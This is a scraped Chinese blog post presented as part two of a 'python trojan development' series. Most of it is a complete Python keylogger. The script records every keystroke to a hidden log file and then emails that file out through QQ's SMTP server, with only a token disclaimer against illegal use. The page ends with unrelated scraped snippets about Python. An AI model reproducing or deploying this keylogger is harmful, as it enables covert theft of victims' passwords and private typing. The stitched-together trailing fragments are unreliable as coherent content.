python trojan development 2nd —— use python to send mail and listen to the key board then combine them

今晚先上代码,明天再说怎么写的,请勿用于非法用途!!!!!

 1 from pynput.keyboard import Key,Listener
 2 import logging
 3 import os
 4 import smtplib
 5 from email.mime.text import MIMEText
 6 from PIL import ImageGrab
 7 import random
 8 from time import *
 9 from email.mime.multipart import MIMEMultipart
10 from email.mime.text import MIMEText
11 from email.mime.image import MIMEImage
12
13 def send_mail(filename):
14     file = open(filename,"r",encoding="UTF-8")
15     data = file.read()
16     file.close()
17     msg_from=‘@qq.com‘                                 #发送方邮箱
18     passwd=‘‘                                   #填入发送方邮箱的授权码
19     msg_to=‘‘
20
21
22     subject="python邮件测试"                                     #主题
23     content=data
24     msg = MIMEText(content,"plain","utf-8")
25     msg[‘Subject‘] = subject
26     msg[‘From‘] = msg_from
27     msg[‘To‘] = msg_to
28     try:
29         s = smtplib.SMTP_SSL("smtp.qq.com",465)
30         s.login(msg_from, passwd)
31         s.sendmail(msg_from, msg_to, msg.as_string())
32         print( "发送成功")
33     except:
34         print("发送失败")
35     finally:
36         s.quit()
37
38 def mkdir(path):
39
40     path = path.strip()
41     # 去除尾部 \ 符号
42     path = path.rstrip("\\")
43
44     isExists = os.path.exists(path)
45
46     # 判断结果
47     if not isExists:
48
49         os.makedirs(path)
50
51        # print(path + ‘ 创建成功‘)
52         return True
53     else:
54         # 如果目录存在则不创建,并提示目录已存在
55        # print(path + ‘ 目录已存在‘)
56         return False
57
58
59 # 定义要创建的目录
60 path = "C:\\hola\\"
61 # 调用函数
62 mkdir(path)
63
64 logging.basicConfig(filename=(path+"keylog.txt"),format="%(asctime)s:%(message)s",level=logging.DEBUG)
65
66
67 def press(key):
68     logging.info(key)
69     if key==Key.enter:
70         return False
71
72 with Listener(on_press = press) as listener:
73     listener.join()
74
75
76 send_mail(path+"keylog.txt")

原文地址:https://www.cnblogs.com/pwn2web/p/10447865.html

时间: 2024-11-06 10:02:11

python trojan development 2nd —— use python to send mail and listen to the key board then combine them的相关文章

python trojan development 1st —— use python to send mail

1 import smtplib 2 from email.mime.text import MIMEText 3 msg_from='1@qq.com' #发送方邮箱 4 passwd='bd' #填入发送方邮箱的授权码 5 msg_to='1@qq.com' 6 7 8 subject="python邮件测试" #主题 9 content="这是我使用python smtplib及email模块发送的邮件" 10 msg = MIMEText(content)

Python Geospatial Development reading note(1)

chapter 1, Summary: In this chapter, we briefly introduced the Python programming language and the main concepts behind geospatial development. We have seen: ~That Python is a very high-level language eminently suited to the task of geospatial develo

Python 3.4 send mail

#coding=utf-8 #Python 3.4 https://docs.python.org/3.4/library/ #IDE:Visual Studio 2015 Window10 import atexit import os import unicodedata import sys import time import unicodedata import winsound import code import codecs import math import csv impo

Python自动化开发,Day1 - Python基础1

本章内容 Python是什么? Python的发展史 Python2与3的区别 Python的语言类型 Python的优缺点 一.Python是什么? Python的创始人是吉多·范罗苏姆(Guido van Rossum).1989年的圣诞节期间,在阿姆斯特丹,Guido为了打发圣诞节的无趣,决心开发一个新的脚本解释程序,作为ABC语言的一种继承.之所以选中Python作为该编程语言的名字,是因为他是一个叫Monty Python的喜剧团体的爱好者. 最新的TIOBE排行榜中,Python赶超

Python服务器开发二:Python网络基础

Python服务器开发二:Python网络基础 网络由下往上分为物理层.数据链路层.网络层.传输层.会话层.表示层和应用层. HTTP是高层协议,而TCP/IP是个协议集,包过许多的子协议.包括:传输层的 FTP,UDP,TCP协议等,网络层的ip协议等,高层协议如HTTP,telnet协议等,HTTP是TCP/IP的一个子协议. socket是对TCP/IP协议的封装和应用(程序员层面上).也可以说,TPC/IP协议是传输层协议,主要解决数据如何在网络中传输,而HTTP是应用层协议,主要解决如

【Python网络编程】利用Python进行TCP、UDP套接字编程

之前实现了Java版本的TCP和UDP套接字编程的例子,于是决定结合Python的学习做一个Python版本的套接字编程实验. 流程如下: 1.一台客户机从其标准输入(键盘)读入一行字符,并通过其套接字将该行发送到服务器. 2.服务器从其连接套接字读取一行字符. 3.服务器将该行字符转换成大写. 4.服务器将修改后的字符串(行)通过连接套接字再发回给客户机. 5.客户机从其套接字中读取修改后的行,然后将该行在其标准输出(监视器)上打印出来. [TCP]服务器端代码: import socket

python公司面试题集锦 python面试题大全

问题一:以下的代码的输出将是什么? 说出你的答案并解释. class Parent(object): x = 1 class Child1(Parent): pass class Child2(Parent): pass print Parent.x, Child1.x, Child2.x Child1.x = 2 print Parent.x, Child1.x, Child2.x Parent.x = 3 print Parent.x, Child1.x, Child2.x 答案 以上代码的

【转】Python 2.7.x 和 Python 3.x 的主要区别

原文链接:http://www.kuqin.com/shuoit/20140728/341451.html 许多 Python 初学者想知道他们应该从 Python 的哪个版本开始学习.对于这个问题我的答案是 “你学习你喜欢的教程的版本,然后检查他们之间的不同." 但是如果你开始一个新项目,并且有选择权?我想说的是目前没有对错,只要你计划使用的库 Python 2.7.x 和 Python 3.x 双方都支持的话.尽管如此,当在编写它们中的任何一个的代码,或者是你计划移植你的项目的时候,是非常值

python入门第1篇 python简介

一.python介绍 python的创始人为吉多·范罗苏姆(Guido van Rossum).1989年的圣诞节期间,Guido开始写Python语言的编译器.Python这个名字,来自Guido所挚爱的电视剧Monty Python's Flying Circus.他希望这个新的叫做Python的语言,能符合他的理想:创造一种C和shell之间,功能全面,易学易用,可拓展的语言. 最新的TIOBE排行榜,Python占据第4, Python崇尚优美.清晰.简单,是一个优秀并广泛使用的语言.